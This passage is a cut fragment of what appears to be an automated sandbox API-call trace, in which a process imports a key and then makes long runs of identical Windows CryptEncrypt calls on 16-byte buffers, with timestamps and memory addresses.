dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e000) returned 0x3c00000 [0127.914] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16691a8) returned 1 [0127.914] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0127.914] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.914] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.914] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.914] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.914] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.915] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.916] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.917] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.918] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.919] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 